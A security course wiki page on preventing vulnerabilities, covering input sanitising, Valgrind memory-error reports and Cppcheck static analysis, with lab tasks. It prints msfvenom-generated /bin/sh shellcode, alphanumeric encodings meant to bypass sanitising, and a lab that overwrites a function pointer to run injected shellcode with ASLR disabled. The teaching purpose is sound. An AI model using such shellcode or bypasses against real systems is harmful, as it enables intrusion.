User Tools

Site Tools


Sidebar

session:extra:preventing-vulnerabilities

0x0D. Preventing Vulnerabilities

Slides

TODO

Tutorials

Sanitizing Input

Invalid input may cause a program to crash. Input may also consists of content that is able to exploit vulnerabilities in programs; among the most famous forms of input that causes exploits is SQL injection. If the developer won't check for input then an SQL select query may show private information to the attacker. One needs to validate input and make sure it follows a valid format.

Input validation or sanitizing is the process of making sure the input consists of only valid characters or words. The process of input sanitizing is a preventive measure against would be attacks. If the input isn't sanitized it may be used to exploit vulnerabilities in an app.

Consider the case of a web application that receives HTTP queries. It may be that a form requires the user to input an alphanumeric character. The user, however, enters an binary shellcode string and then uses it to exploit a vulnerability in the web application and launch a shell or run a different command. A careful programmer would sanitize input and make sure the username is alphanumeric. Though it is possible to bypass this and use an alphanumeric shellcode.

Alphanumeric Shellcode

An alphanumeric shellcode is a shellcode that consists solely of alphanumeric characters that may bypass a sanitizing method on a given string. Alphanumeric shellcodes have larger size due to the fact that they are only able to use certain instructions, such as doing increments to get to a certain value in a register.

The Metasploit framework is among the simplest ways of obtaining shellcodes and alphanumeric shellcodes. Metasploit is already installed on your Kali machines. However, if manual installation is needed, one would use the instructions here (on Debian-based systems) or here (Arch).

For example, in order to get an alphanumeric shellcode we would use msfvenom Metasploit command.

The use of the -h option provides a list of options for the command:

student@sss-vm:/opt/metasploit-framework.git$ msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: ./msfvenom [options] <var=val>

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

In order to list available payloads one would use the command

student@sss-vm:/opt/metasploit-framework.git$ msfvenom -l payloads | head

Framework Payloads (428 total)
==============================

    Name                                                Description
    ----                                                -----------
    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                             Spawn a shell on an established connection
    aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell

The complete command for creating an alphanumeric shellcode that spawns a shell:

student@sss-vm:/opt/metasploit-framework.git$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += "\x89\xe1\xcd\x80"

student@sss-vm:/opt/metasploit-framework.git$ msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 148 (iteration=0)
x86/alpha_mixed chosen with final size 148
Payload size: 148 bytes
buf =  ""
buf += "\x89\xe5\xdb\xce\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x62\x4a\x44\x4b\x62"
buf += "\x78\x4d\x49\x51\x42\x65\x36\x43\x58\x56\x4d\x73\x53"
buf += "\x4d\x59\x39\x77\x42\x48\x64\x6f\x61\x63\x31\x78\x37"
buf += "\x70\x61\x78\x46\x4f\x31\x72\x51\x79\x30\x6e\x4b\x39"
buf += "\x6d\x33\x66\x32\x68\x68\x45\x58\x47\x70\x33\x30\x47"
buf += "\x70\x66\x4f\x52\x42\x30\x69\x62\x4e\x36\x4f\x50\x73"
buf += "\x72\x48\x77\x70\x33\x67\x51\x43\x4f\x79\x6d\x31\x48"
buf += "\x4d\x6f\x70\x41\x41"

As also stated here, if one were to discover the analyze the shellcode, it would show the first characters aren't alphanumeric:

buf += "\x4d\x6f\x70\x41\x41"
student@sss-vm:/opt/metasploit-framework.git$ python -c 'buf =  ""
> buf += "\x89\xe5\xdb\xce\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"
> buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
> buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
> buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
> buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x62\x4a\x44\x4b\x62"
> buf += "\x78\x4d\x49\x51\x42\x65\x36\x43\x58\x56\x4d\x73\x53"
> buf += "\x4d\x59\x39\x77\x42\x48\x64\x6f\x61\x63\x31\x78\x37"
> buf += "\x70\x61\x78\x46\x4f\x31\x72\x51\x79\x30\x6e\x4b\x39"
> buf += "\x6d\x33\x66\x32\x68\x68\x45\x58\x47\x70\x33\x30\x47"
> buf += "\x70\x66\x4f\x52\x42\x30\x69\x62\x4e\x36\x4f\x50\x73"
> buf += "\x72\x48\x77\x70\x33\x67\x51\x43\x4f\x79\x6d\x31\x48"
> buf += "\x4d\x6f\x70\x41\x41"
> print buf'
�����u�_WYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIbJDKbxMIQBe6CXVMsSMY9wBHdoac1x7paxFO1rQy0nK9m3f2hhEXGp30GpfORB0ibN6OPsrHwp3gQCOym1HMopAA

This is because these instructions need a way of computing the current position of the shellcode. This may be solved by making a register (such as ECX for example) point to the beginning of the shellcode buffer. If that is possible in the program, then the shellcode may be instructed to fetch its address from that point:

student@sss-vm:/opt/metasploit-framework.git$ msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed -f python BufferRegister=ECX
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 139 (iteration=0)
x86/alpha_mixed chosen with final size 139
Payload size: 139 bytes
buf =  ""
buf += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41"
buf += "\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
buf += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x61"
buf += "\x7a\x54\x4b\x56\x38\x7a\x39\x73\x62\x33\x56\x50\x68"
buf += "\x36\x4d\x43\x53\x6b\x39\x4a\x47\x45\x38\x54\x6f\x62"
buf += "\x53\x71\x78\x47\x70\x50\x68\x64\x6f\x73\x52\x72\x49"
buf += "\x32\x4e\x6e\x69\x6b\x53\x61\x42\x4b\x58\x54\x48\x57"
buf += "\x70\x73\x30\x43\x30\x76\x4f\x35\x32\x70\x69\x70\x6e"
buf += "\x44\x6f\x43\x43\x70\x68\x67\x70\x52\x77\x36\x33\x4c"
buf += "\x49\x6b\x51\x5a\x6d\x4f\x70\x41\x41"

student@sss-vm:/opt/metasploit-framework.git$ python -c 'buf =  ""
> buf += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
> buf += "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41"
> buf += "\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
> buf += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x61"
> buf += "\x7a\x54\x4b\x56\x38\x7a\x39\x73\x62\x33\x56\x50\x68"
> buf += "\x36\x4d\x43\x53\x6b\x39\x4a\x47\x45\x38\x54\x6f\x62"
> buf += "\x53\x71\x78\x47\x70\x50\x68\x64\x6f\x73\x52\x72\x49"
> buf += "\x32\x4e\x6e\x69\x6b\x53\x61\x42\x4b\x58\x54\x48\x57"
> buf += "\x70\x73\x30\x43\x30\x76\x4f\x35\x32\x70\x69\x70\x6e"
> buf += "\x44\x6f\x43\x43\x70\x68\x67\x70\x52\x77\x36\x33\x4c"
> buf += "\x49\x6b\x51\x5a\x6d\x4f\x70\x41\x41"
> print buf'
IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIazTKV8z9sb3VPh6MCSk9JGE8TobSqxGpPhdosRrI2NnikSaBKXTHWps0C0vO52pipnDoCCphgpRw63LIkQZmOpAA

Detecting memory errors with Valgrind

Valgrind is a multipurpose code profiling and memory debugging tool for Linux. It allows you to run your program in Valgrind's own environment that monitors memory usage such as calls to malloc and free (or new and delete in C++). If you use uninitialized memory, write off the end of an array, or forget to free a pointer, Valgrind can detect it.

Running Valgrind memcheck

valgrind --tool=memcheck program_name
...
=18515== malloc/free: in use at exit: 0 bytes in 0 blocks.
==18515== malloc/free: 1 allocs, 1 frees, 10 bytes allocated.
==18515== For a detailed leak analysis,  rerun with: --leak-check=yes

Interpreting errors

Memcheck issues a range of error messages. This section presents a quick summary of what error messages mean. The precise behaviour of the error-checking machinery is described here

Illegal read / Illegal write errors

Take the following error:

Invalid read of size 4
   at 0x40F6BBCC: (within /usr/lib/libpng.so.2.1.0.9)
   by 0x40F6B804: (within /usr/lib/libpng.so.2.1.0.9)
   by 0x40B07FF4: read_png_image(QImageIO *) (kernel/qpngio.cpp:326)
   by 0x40AC751B: QImageIO::read() (kernel/qimage.cpp:3621)
Address 0xBFFFF0E0 is not stack'd, malloc'd or free'd

This happens when your program reads or writes memory at a place which Memcheck reckons it shouldn't. In this example, the program did a 4-byte read at address 0xBFFFF0E0, somewhere within the system-supplied library libpng.so.2.1.0.9, which was called from somewhere else in the same library, called from line 326 of qpngio.cpp, and so on.

Memcheck tries to establish what the illegal address might relate to, since that's often useful. So, if it points into a block of memory which has already been freed, you'll be informed of this, and also where the block was freed. Likewise, if it should turn out to be just off the end of a heap block, a common result of off-by-one-errors in array subscripting, you'll be informed of this fact, and also where the block was allocated. If you use the –read-var-info option Memcheck will run more slowly but may give a more detailed description of any illegal address.

Note that Memcheck only tells you that your program is about to access memory at an illegal address. It can't stop the access from happening. So, if your program makes an access which normally would result in a segmentation fault, you program will still suffer the same fate – but you will get a message from Memcheck immediately prior to this. In this particular example, reading junk on the stack is non-fatal, and the program stays alive.

Use of uninitialised values
Conditional jump or move depends on uninitialised value(s)
   at 0x402DFA94: _IO_vfprintf (_itoa.h:49)
   by 0x402E8476: _IO_printf (printf.c:36)
   by 0x8048472: main (tests/manuel1.c:8)

An uninitialised-value use error is reported when your program uses a value which hasn't been initialised – in other words, is undefined. Here, the undefined value is used somewhere inside the printf machinery of the C library. This error was reported when running the following small program:

int main()
{
  int x;
  printf ("x = %d\n", x);
}

It is important to understand that your program can copy around junk (uninitialised) data as much as it likes. Memcheck observes this and keeps track of the data, but does not complain. A complaint is issued only when your program attempts to make use of uninitialised data in a way that might affect your program's externally-visible behaviour. In this example, x is uninitialised. Memcheck observes the value being passed to _IO_printf and thence to _IO_vfprintf, but makes no comment. However, _IO_vfprintf has to examine the value of x so it can turn it into the corresponding ASCII string, and it is at this point that Memcheck complains.

Sources of uninitialised data tend to be:

  • Local variables in procedures which have not been initialised, as in the example above.
  • The contents of heap blocks (allocated with malloc, new, or a similar function) before you (or a constructor) write something there.
Use of uninitialised or unaddressable values in system calls

Memcheck checks all parameters to system calls:

  • It checks all the direct parameters themselves, whether they are initialised.
  • If a system call needs to read from a buffer provided by your program, Memcheck checks that the entire buffer is addressable and its contents are initialised.
  • If the system call needs to write to a user-supplied buffer, Memcheck checks that the buffer is addressable.

After the system call, Memcheck updates its tracked information to precisely reflect any changes in memory state caused by the system call.

Here's an example of two system calls with invalid parameters:

#include <stdlib.h>
#include <unistd.h>
int main( void )
{
    char* arr  = malloc(10);
    int*  arr2 = malloc(sizeof(int));
    write( 1 /* stdout */, arr, 10 );
    exit(arr2[0]);
}
 Syscall param write(buf) points to uninitialised byte(s)
     at 0x25A48723: __write_nocancel (in /lib/tls/libc-2.3.3.so)
     by 0x259AFAD3: __libc_start_main (in /lib/tls/libc-2.3.3.so)
     by 0x8048348: (within /auto/homes/njn25/grind/head4/a.out)
   Address 0x25AB8028 is 0 bytes inside a block of size 10 alloc'd
     at 0x259852B0: malloc (vg_replace_malloc.c:130)
     by 0x80483F1: main (a.c:5)
 
  Syscall param exit(error_code) contains uninitialised byte(s)
     at 0x25A21B44: __GI__exit (in /lib/tls/libc-2.3.3.so)
     by 0x8048426: main (a.c:8)

The program has (a) written uninitialised junk from the heap block to the standard output, and (b) passed an uninitialised value to exit. Note that the first error refers to the memory pointed to by buf (not buf itself), but the second error refers directly to exit's argument arr2[0].

Illegal frees
Invalid free()
   at 0x4004FFDF: free (vg_clientmalloc.c:577)
   by 0x80484C7: main (tests/doublefree.c:10)
 Address 0x3807F7B4 is 0 bytes inside a block of size 177 free'd
   at 0x4004FFDF: free (vg_clientmalloc.c:577)
   by 0x80484C7: main (tests/doublefree.c:10)

Memcheck keeps track of the blocks allocated by your program with malloc/new, so it can know exactly whether or not the argument to free/delete is legitimate or not. Here, this test program has freed the same block twice. As with the illegal read/write errors, Memcheck attempts to make sense of the address freed. If, as here, the address is one which has previously been freed, you wil be told that – making duplicate frees of the same block easy to spot. You will also get this message if you try to free a pointer that doesn't point to the start of a heap block.

When a heap block is freed with an inappropriate deallocation function

In the following example, a block allocated with new[] has wrongly been deallocated with free:

Mismatched free() / delete / delete []
   at 0x40043249: free (vg_clientfuncs.c:171)
   by 0x4102BB4E: QGArray::~QGArray(void) (tools/qgarray.cpp:149)
   by 0x4C261C41: PptDoc::~PptDoc(void) (include/qmemarray.h:60)
   by 0x4C261F0E: PptXml::~PptXml(void) (pptxml.cc:44)
 Address 0x4BB292A8 is 0 bytes inside a block of size 64 alloc'd
   at 0x4004318C: operator new[](unsigned int) (vg_clientfuncs.c:152)
   by 0x4C21BC15: KLaola::readSBStream(int) const (klaola.cc:314)
   by 0x4C21C155: KLaola::stream(KLaola::OLENode const *) (klaola.cc:416)
   by 0x4C21788F: OLEFilter::convert(QCString const &) (olefilter.cc:272)

In C++ it's important to deallocate memory in a way compatible with how it was allocated. The deal is:

  • If allocated with malloc, calloc, realloc, valloc or memalign, you must deallocate with free.
  • If allocated with new, you must deallocate with delete.
  • If allocated with new[], you must deallocate with delete[].

The reason behind the requirement is as follows. In some C++ implementations, delete[] must be used for objects allocated by new[] because the compiler stores the size of the array and the pointer-to-member to the destructor of the array's content just before the pointer actually returned. delete doesn't account for this and will get confused, possibly corrupting the heap.

Overlapping source and destination blocks

The following C library functions copy some data from one memory block to another (or something similar): memcpy, strcpy, strncpy, strcat, strncat. The blocks pointed to by their src and dst pointers aren't allowed to overlap. The POSIX standards have wording along the lines “If copying takes place between objects that overlap, the behavior is undefined.” Therefore, Memcheck checks for this.

==27492== Source and destination overlap in memcpy(0xbffff294, 0xbffff280, 21)
==27492==    at 0x40026CDC: memcpy (mc_replace_strmem.c:71)
==27492==    by 0x804865A: main (overlap.c:40)

You don't want the two blocks to overlap because one of them could get partially overwritten by the copying.

Memory leak detection

Memcheck keeps track of all heap blocks issued in response to calls to malloc/new et al. So when the program exits, it knows which blocks have not been freed.

If --leak-check is set appropriately, for each remaining block, Memcheck determines if the block is reachable from pointers within the root-set. The root-set consists of (a) general purpose registers of all threads, and (b) initialised, aligned, pointer-sized data words in accessible client memory, including stacks.

There are two ways a block can be reached. The first is with a “start-pointer”, i.e. a pointer to the start of the block. The second is with an “interior-pointer”, i.e. a pointer to the middle of the block. There are several ways we know of that an interior-pointer can occur:

  • The pointer might have originally been a start-pointer and have been moved along deliberately (or not deliberately) by the program. In particular, this can happen if your program uses tagged pointers, i.e. if it uses the bottom one, two or three bits of a pointer, which are normally always zero due to alignment, in order to store extra information.
  • It might be a random junk value in memory, entirely unrelated, just a coincidence.
  • It might be a pointer to an array of C++ objects (which possess destructors) allocated with new[]. In this case, some compilers store a “magic cookie” containing the array length at the start of the allocated block, and return a pointer to just past that magic cookie, i.e. an interior-pointer.
  • It might be a pointer to the inner char array of a C++ std::string. For example, some compilers add 3 words at the beginning of the std::string to store the length, the capacity and a reference count before the memory containing the array of characters. They return a pointer just after these 3 words, pointing at the char array.
  • It might be a pointer to an inner part of a C++ object using multiple inheritance.

You can optionally activate heuristics to use during the leak search to detect the interior pointers corresponding to the newarray, stdstring and multipleinheritance cases. If the heuristic detects that an interior pointer corresponds to such a case, the block will be considered as reachable by the interior pointer. In other words, the interior pointer will be treated as if it were a start pointer.

With that in mind, consider the nine possible cases described by the following figure.

Pointer chain            AAA Leak Case   BBB Leak Case
     -------------            -------------   -------------
(1)  RRR ------------> BBB                    DR
(2)  RRR ---> AAA ---> BBB    DR              IR
(3)  RRR               BBB                    DL
(4)  RRR      AAA ---> BBB    DL              IL
(5)  RRR ------?-----> BBB                    (y)DR, (n)DL
(6)  RRR ---> AAA -?-> BBB    DR              (y)IR, (n)DL
(7)  RRR -?-> AAA ---> BBB    (y)DR, (n)DL    (y)IR, (n)IL
(8)  RRR -?-> AAA -?-> BBB    (y)DR, (n)DL    (y,y)IR, (n,y)IL, (_,n)DL
(9)  RRR      AAA -?-> BBB    DL              (y)IL, (n)DL

Pointer chain legend:
- RRR: a root set node or DR block
- AAA, BBB: heap blocks
- --->: a start-pointer
- -?->: an interior-pointer

Leak Case legend:
- DR: Directly reachable
- IR: Indirectly reachable
- DL: Directly lost
- IL: Indirectly lost
- (y)XY: it's XY if the interior-pointer is a real pointer
- (n)XY: it's XY if the interior-pointer is not a real pointer
- (_)XY: it's XY in either case

Every possible case can be reduced to one of the above nine. Memcheck merges some of these cases in its output, resulting in the following four leak kinds.

  • Still reachable. This covers cases 1 and 2 (for the BBB blocks) above. A start-pointer or chain of start-pointers to the block is found. Since the block is still pointed at, the programmer could, at least in principle, have freed it before program exit. “Still reachable” blocks are very common and arguably not a problem. So, by default, Memcheck won't report such blocks individually.
  • Definitely lost. This covers case 3 (for the BBB blocks) above. This means that no pointer to the block can be found. The block is classified as “lost”, because the programmer could not possibly have freed it at program exit, since no pointer to it exists. This is likely a symptom of having lost the pointer at some earlier point in the program. Such cases should be fixed by the programmer.
  • Indirectly lost. This covers cases 4 and 9 (for the BBB blocks) above. This means that the block is lost, not because there are no pointers to it, but rather because all the blocks that point to it are themselves lost. For example, if you have a binary tree and the root node is lost, all its children nodes will be indirectly lost. Because the problem will disappear if the definitely lost block that caused the indirect leak is fixed, Memcheck won't report such blocks individually by default.
  • Possibly lost. This covers cases 5–8 (for the BBB blocks) above. This means that a chain of one or more pointers to the block has been found, but at least one of the pointers is an interior-pointer. This could just be a random value in memory that happens to point into a block, and so you shouldn't consider this ok unless you know you have interior-pointers.

Furthermore, if suppressions exists for a block, it will be reported as “suppressed” no matter what which of the above four kinds it belongs to.

The following is an example leak summary.

LEAK SUMMARY:
   definitely lost: 48 bytes in 3 blocks.
   indirectly lost: 32 bytes in 2 blocks.
     possibly lost: 96 bytes in 6 blocks.
   still reachable: 64 bytes in 4 blocks.
        suppressed: 0 bytes in 0 blocks.

If heuristics have been used to consider some blocks as reachable, the leak summary details the heuristically reachable subset of 'still reachable:' per heuristic. In the below example, of the 79 bytes still reachable, 71 bytes (56+7+8) have been considered heuristically reachable.

LEAK SUMMARY:
   definitely lost: 4 bytes in 1 blocks
   indirectly lost: 0 bytes in 0 blocks
     possibly lost: 0 bytes in 0 blocks
   still reachable: 79 bytes in 5 blocks
                      of which reachable via heuristic:
                        stdstring          : 56 bytes in 2 blocks
                        newarray           : 7 bytes in 1 blocks
                        multipleinheritance: 8 bytes in 1 blocks
        suppressed: 0 bytes in 0 blocks

If --leak-check=full is specified, Memcheck will give details for each definitely lost or possibly lost block, including where it was allocated. (Actually, it merges results for all blocks that have the same leak kind and sufficiently similar stack traces into a single “loss record”. The --leak-resolution CLI option lets you control the meaning of “sufficiently similar”.) It cannot tell you when or how or why the pointer to a leaked block was lost; you have to work that out for yourself. In general, you should attempt to ensure your programs do not have any definitely lost or possibly lost blocks at exit.

Eg.

8 bytes in 1 blocks are definitely lost in loss record 1 of 14
   at 0x........: malloc (vg_replace_malloc.c:...)
   by 0x........: mk (leak-tree.c:11)
   by 0x........: main (leak-tree.c:39)

88 (8 direct, 80 indirect) bytes in 1 blocks are definitely lost in loss record 13 of 14
   at 0x........: malloc (vg_replace_malloc.c:...)
   by 0x........: mk (leak-tree.c:11)
   by 0x........: main (leak-tree.c:25)

The first message describes a simple case of a single 8 byte block that has been definitely lost. The second case mentions another 8 byte block that has been definitely lost; the difference is that a further 80 bytes in other blocks are indirectly lost because of this lost block. The loss records are not presented in any notable order, so the loss record numbers aren't particularly meaningful. The loss record numbers can be used in the Valgrind gdbserver to list the addresses of the leaked blocks and/or give more details about how a block is still reachable.

Static Analysis

Static analysis can be done using a variety of tools, ranging from lint-like analyzers to software suites that attempt to do full semantic analysis on the code. Wikipedia gives a comprehensive list of static code analysis tools for various programming languages. One such useful tool is Cppcheck, which has been used to discover a 23-year-old vulnerability in the X11 server.

Cppcheck is oriented towards C and C++. It can check basic errors related to the usage of C Standard Library and C++ STL functions, but it can also be extended to other external library functions through so-called library files. Some examples of basic Cppcheck usages are:

$ cppcheck --enable=all somefile.c # enable all checks
$ cppcheck --enable-all --library=mylib.cfg somefile.c # load an additional library file

Library files are XML files defined in the Cppcheck manual. Their basic format is:

<?xml version="1.0"?>
<def>
	<function name="myfunc">
	<arg nr="1">
	<!-- constraints go here -->
		...
	</arg>
	</function>
</def>
The cppcheck Kali Linux currently contains Cppcheck version 1.74; alternatively, you can download the latest Cppcheck sources from Sourceforge and compile them by simply running make.

Another well know static analysis tool, used for detecting bugs and possible vulnerabilities is Coverity. Open source projects may be checked using Coverity Scan for free; all one needs to do is create an account. Coverity Scan is integrated with GitHub.

Tasks

Valgrind warm-up exercise

Download the following archive. Compile the C source file contained within with gcc and use Valgrind to detect the possible memory errors. After detecting the errors, try to find the incorrect lines of code causing them and fix the problems.

Hunting memory errors in Nginx

Download the following archive containing a modified version of the Nginx web server. Compile the nginx web server and install it somewhere local

./configure --prefix=/path/to/your/installation/folder

where /path/to/your/installation/folder/ is a path of your choice for installing nginx.

You can start the webserver by issuing the following command from the installation folder you've chosen:

./objs/nginx

If you can't find the executable in the installation folder you may issue the command below inside the installation folder

find -name find

The server can be stopped by issuing:

./sbin/nginx -s stop

You may also like to attach valgrind to it and have it follow the child process it spawns. After starting it up, try a few HTTP requests to it to see what the problem might be. If you want to issue a lot of http requests, you may want to try the httperf tool.

As done in the previous exercise, try to pinpoint the memory problem using Valgrind and then resolve it.

You may need to delve in a bit into the nginx code and understand how it's managing memory before attempting a fix

Shellcode, Sanitizing and Alphanumeric Shellcode

Use this archive for this task. Use make to create the show-banner-message executable file. In this task, you should disable ASLR:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

First, use a suitable command line argument and value inside the banner.txt file to inject and run a binary shellcode. You may use this shellcode (you may ignore the setreuid part of the shellcode).

Second, assume the banner.c program is part of a library you don't have access to. Use input sanitizing of the message buffer in the show-banner-message.c program to prevent the running of a binary shellcode; i.e. make sure all characters are alphanumeric or NUL, otherwise exit.

Third, use a alphanumeric shellcode in the message buffer to run the shellcode and bypass the preventive measure above. Watch the assembly code of the show-banner-message and use a suitable buffer register for msfvenom in order to obtain a completely alphanumeric shellcode. See what register stores the pointer to the message buffer before calling print_fn.

The idea is to fill the banner buffer with 36 bytes such that the last 4 bytes would overwrite the print_fn global variable with an address we want to store the shellcode at. When print_fn gets called, our shellcode will be executed.

The shellcode will be passed as a byte array as an argument to the program. It will be stored in the message local variable. The address of the message local variable will be used as the address to overwrite the print_fn global function pointer, as stated above.

Static Analysis with Cppcheck

Use this archive for the task. Use make to create the checkme executable file.

Look through the source file. It consists of a function my_tokenize, which is called from the main program multiple times. Run a basic cppcheck check on it.

Write a library configuration file that specifies that my_tokenize's first argument must be non-null and its second argument must have values between 0 and 1024. Use the manual as a reference (section 7: Library configuration).

Run cppcheck again and tell it to load the newly created library file.

Extra: io.smashthestack.org

Go through the first 6 levels of the io.smashthestack.org wargame. If you fill up to it, solve the _alt versions of the challenges as well.

References

session/extra/preventing-vulnerabilities.txt · Last modified: 2020/07/19 12:49 (external edit)